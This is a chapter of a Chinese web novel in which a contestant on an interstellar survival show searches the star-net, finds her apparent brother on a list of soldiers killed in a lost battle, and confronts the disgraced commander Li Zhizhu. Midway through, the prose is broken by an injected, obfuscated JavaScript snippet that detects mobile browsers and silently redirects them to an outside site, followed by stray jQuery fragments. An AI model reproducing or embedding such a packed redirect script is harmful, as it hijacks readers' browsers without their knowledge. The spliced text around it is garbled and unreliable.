14. 哥哥

作品:《星际出道从活下去开始

    “萤火虫?做什么用。”


    南歇风从一旁探出头来。


    舞台需要光。


    一束聚光灯,垄断了光,就能区别出舞台上的主角和配角。


    一些干冰烟雾,模糊了光,就能区别出神仙和凡人。


    观众们有时以为看到了超凡脱俗的表演者,其实很多时候是因为,对方身上打的光足够多、足够复杂。


    足够的,跟别人不一样。


    语言解释出来太贫瘠,时顽苦恼了一下:“你很快就会知道。”


    今晚李执竹没再做烤串,而是兑换了合金锅,煮了一锅汤。


    南歇风舀了一勺,轻抿品尝,愉悦地眯起眼睛来:“比我们家厨师做得正宗些,不过,这种沙星口味的汤,配点酥饼会更好。


    说完,他就兑换了三份成品酥饼,分给大家蘸取汤汁吃。


    李执竹拿起沾了鲜香汤汁的酥饼,咬了口,停了动作。


    南歇风感叹一声:“真想出去啊,首都星的沙星美食还是差了点,可惜了原产地。”


    时顽很喜欢这口味,咽了口汤,问道:“怎么了?”


    “啊?你不知道吗?沙星的仗打了那么多年了,人都——”


    “我吃饱了,先走了。”


    话还没说完,却被起身的李执竹打断了。他语气有些生硬,低着头,碎发长睫落下深深的阴影。


    而他面前的一小碗汤,分明才只喝了几口。


    怎么可能是真的饱了。


    时顽看着他离开的背影,若有所思。


    沙星?


    从南歇风开口提到沙星后,李执竹的表情就算不上好。


    经过几顿饭的直播,如今的他们已经有了一批稳定的饭点观众,打赏零零星星,但胜在陪伴长情。


    李执竹的突然离开,氛围的变化肉眼可见,隔着屏幕,观众们也看得出来。


    【怎么突然走了,吵架了?】


    【沙星特色炖汤看得我好饿,南歇风是会吃的】


    【李执竹的配方相当正宗啊,没在沙星待过的真做不出来,说起来,感觉他有点眼熟……】


    【节目组不是保密了选手身份信息吗?】


    【只是不主动公开吧,星网那么大,想查还是查得到的】


    而事实上,这所谓的不公开,仅限于节目之外。


    时顽打开自己的终端,积分商城划到最底部,和晋级卡并排着的,是一个灰色的方框——


    【窥探卡】-可选择任意一名选手,查看他的身份及犯罪档案。


    售价:50000积分。


    价格跟晋级卡一样。


    买不起。


    时顽叹了口气,纵使她再想知道原身的身世、亲人的下落,也很难下决心用等同晋级的价格去兑换。


    经过这几天的打赏,她手头的积分已经到了八千左右,但离五万仍是遥遥无期,这还是她一番努力的结果。


    页面接着上滑,直到出现了一个之前就出现过的道具:


    【星网通讯10分钟】-可使用节目组提供的设备连通星网。不用担心保密问题,无论你做了什么,操作记录都将在使用后被即刻销毁。


    售价:5000积分


    时顽的手指悬在其上很久,按下了购买键。


    希望这个世界的搜索引擎好用。不好用的话,她就只能顶着大名去粉丝论坛发黑帖了,以期愤怒的粉丝们能送来自己的身份信息。


    不一会儿,一个小型终端就被送到了她的手中,投影出一片电脑屏幕大小的画面。


    【使用时间自解锁开始计算,剩余时间:10分组】


    时顽转头看了一眼漂浮在自己身后的摄像头,开启了屏蔽。


    接下来,就是在有限的时间内,尽可能多得寻找有效信息了。


    拜托上天,拜托概率神,别让自己在打字第一步就卡住!也别让自己在找不到网页的第二步被卡住!


    时顽双手合十祈祷后,解锁了屏幕。


    谢天谢地!


    一上来就是搜索引擎。


    而且原身有打字的肌肉记忆,她思绪一动,文字就自然而然进入了搜索框中。


    时顽先试着搜索了自己的名字。


    没有任何有效的信息,重名的人很多。搜索结果的前几条都不是自己。


    她深吸了一口气。


    紧接着,搜索了认识的其他人。


    姬雪有不少新闻资讯,热度最高的结果是她入狱的新闻头条。


    新闻图的左侧是她剧院唱歌的动态照片,右侧则是她带着枷具的入狱照。


    {天使面孔魔鬼心!梦貘剧院人气歌手姬雪因杀/人罪入狱,受害者竟为其继父}


    到南歇风,则直接搜出了社交账号。


    点进去看,更新时间停留在几个月前。内容大致是豪华飞行器和各色美食美景分享。


    搜索引擎翻到底,还有条一年前的新闻:


    {我的富豪爸爸!南家私生子认祖归宗,十年已到,争权夺嫡之势将成}


    到了李执竹,只有零星几条军校的优秀毕业学员表彰消息。


    点进相关链接,却发现名单里的李执竹已经变成了另一个名字——德克斯特。


    这是联邦的惯例,获得军校首席荣誉的新/兵,在进入军队时会被皇室赐予新的名字,以示荣誉。


    时顽接着输入德克斯特搜索。


    这次搜索出的结果,比以往每次都要多。


    “德克斯特”甚至拥有自己的词条。


    几条关键词几乎将首页淹没——“新星少将”、“指挥失误”、“战败”、“定罪”……


    以及——“沙星战役”。


    时顽的眉头一跳。


    不需要过多的搜索,这场战役的惨烈程度已然清晰可见。


    为时两年的漫长战役,前期进展顺利。


    然而,在某次关键战争中,由于指挥官的判断失误,过往胜势完全逆转,功亏一篑。除去一小部分的士兵被紧急撤离,剩下的,几乎全军覆没。


    几乎全军覆没。


    时顽呼吸一窒,寒意从脚底到头顶。


    几乎是颤抖着手,她打开了沙星战役牺/牲士兵的名单。


    不需要往下翻很久,就看到了一个熟悉的名字。


    【副官-时遂】


    大脑一片空白,嗡嗡作响。


    她的……哥哥。


    和她现实世界的哥哥同名。


    正如同她,和原身同名一样。


    时顽几乎站不稳。


    蛛网一般无穷的繁杂思绪将她包围、裹紧、拉扯、窒息。


    同名同姓,世上真的有这么巧合的事情么?


    而李执竹那总犹豫回避的神情,似乎早就说明了这一切。


    整个世界都变得模糊,像隔了磨砂玻璃的血。


    陌生的星际时空,熟悉的亲人名字。


    她是谁?时顽,对吗?


    这个世界的时顽,与自己名字一样,长得也一样。


    她来自哪儿,21世纪么。


    她确信自己的记忆并没有紊乱。


    然而,她已不知道自己身在何处。


    她唯一可以确认的是,这个世界曾经可能存在过她的亲人。


    但如今,也死了。


    而她,这样挣扎着,又要往哪里去呢。


    .


    不知过了多久,周遭的一切才慢慢聚焦。


    终端的使用时间早就过了,变为一块黑了屏的电子垃圾。


    帐篷外,月已上中天。


    李执竹仍静默地守在篝火旁,在火苗的晃动中,锋利的脊背骨一动不动,不像个活人。


    他有什么资格坐在那里?


    此刻,时顽的心中只有无限愤怒与怨憎。


    难怪他不想活着。


    指挥失误,害死了那么多人,害死了她的哥哥,自己倒是苟活着。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322203|167530||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    哪来的廉耻,哪来的资格?


    无法压抑的悲愤将她推出去。


    她要上去质问,问问他为什么,凭什么。


    也问问他,真的吗,在哪里,要怎么去找。


    甚至想问问,该怎么办。


    眼泪把视线模糊,路走得飞快,却甚至有点踉跄,恍惚中,被木柴绊倒在地。


    她撑着爬起,一点金属光却突然闪过眼前——


    是她脖颈上挂着的两条链子。


    一个是小小的、闪着银光的哨子,李执竹给的。


    一个是陈旧的金色怀表,01号死/前托付给她。


    哨子是要她注意安全。


    怀表是要她活着交给别人。


    理智在一瞬间回笼——


    要活着。


    无论怎么样,先活下去。


    李执竹没有重要到,需要她牺牲掉自己辛苦得到的晋级存活的机会,去求一个确认。


    曾有人告诉过她,凡事都有万分之一的可能,同名同姓的不一定是她哥哥,牺牲名单不一定统计正确,她也不一定回不去。


    万一,万一,哪怕万分之一,至少万分之一。


    而当下的存在主义危机、迷茫、悲愤、惶恐,都不该影响她活下去。


    .


    她深吸了一口气,稳住身体。


    猛然转过头,只见身后漂浮的摄像头闪着红光,是正在录制中的信号。


    时顽尽力保持着步伐平稳,走近李执竹,拍了拍他的肩膀。


    李执竹转过身,却对上一双血丝密布、盛满泪水的眼睛。


    “开屏蔽。”时顽的声音压抑着,不太稳定。


    “怎么了?”李执竹皱着眉,虚扶住她的胳膊。


    “开,屏,蔽。”


    时顽一字一顿地又重复了一遍,一滴眼泪不受控制地挣脱出眼眶,冰凉、湿润,落到李执竹的手腕。


    李执竹瞳孔微颤。


    几乎是摄像机暗掉的瞬间,时顽便开了口:


    “告诉我,时遂的事情。”


    李执竹的回答一如既往:“我不认识,不知道。”


    时顽猛地拽住了他的领子,语气激动:“你明明知道……时遂在哪里,你没必要骗我!”


    李执竹大概猜得出,她或许得到了什么消息。


    显然,当下已经不能再轻易略过问题。


    可真相……难免令人不忍。


    他敛眸道:“你不需要知道。”


    “不,我最需要。”时顽急促地呼吸着,声音颤抖:


    “我要知道他在哪里,我要找到他,哪怕是……收尸,我要给他收尸。”


    她无论如何要弄清,她想念自己的亲人,更想知道这个世界与自己的联系。


    李执竹怔愣片刻:


    “第二火山口。”


    说着,他扯起勉强的笑:


    “在第二火山口,但是,你要先活着出去,才能……”


    不等说完,时顽就接了话,没有丝毫犹豫:


    “我会活着出去的。”


    仿佛这不是一个尚存悬念的问题。


    第二火山口。


    她默念几遍,记牢在心里。


    念起来,却觉得耳熟。


    她突然想起刚刚看过的报道:


    “第二火山口,最后一批士兵撤离的位置吗?”


    “撤离?”李执竹迟疑了一秒:“那场战役,除了我……没有人成功撤离。”


    他艰难地说出这句话,心脏几乎被剜去一瞬。


    “你自己带的兵活不下来,就觉得别人也不行?”对于这大言不惭的陈述,时顽只觉愤怒。


    “‘除维米尔上校所带领的小队成功撤离外,全军覆没’,报道里写得清清楚楚!”


    久久没有回复。


    时顽转过头,却看到李执竹怔在原地。


    他脸色煞白,双眸凝滞,仿佛听到了什么毁灭性的消息。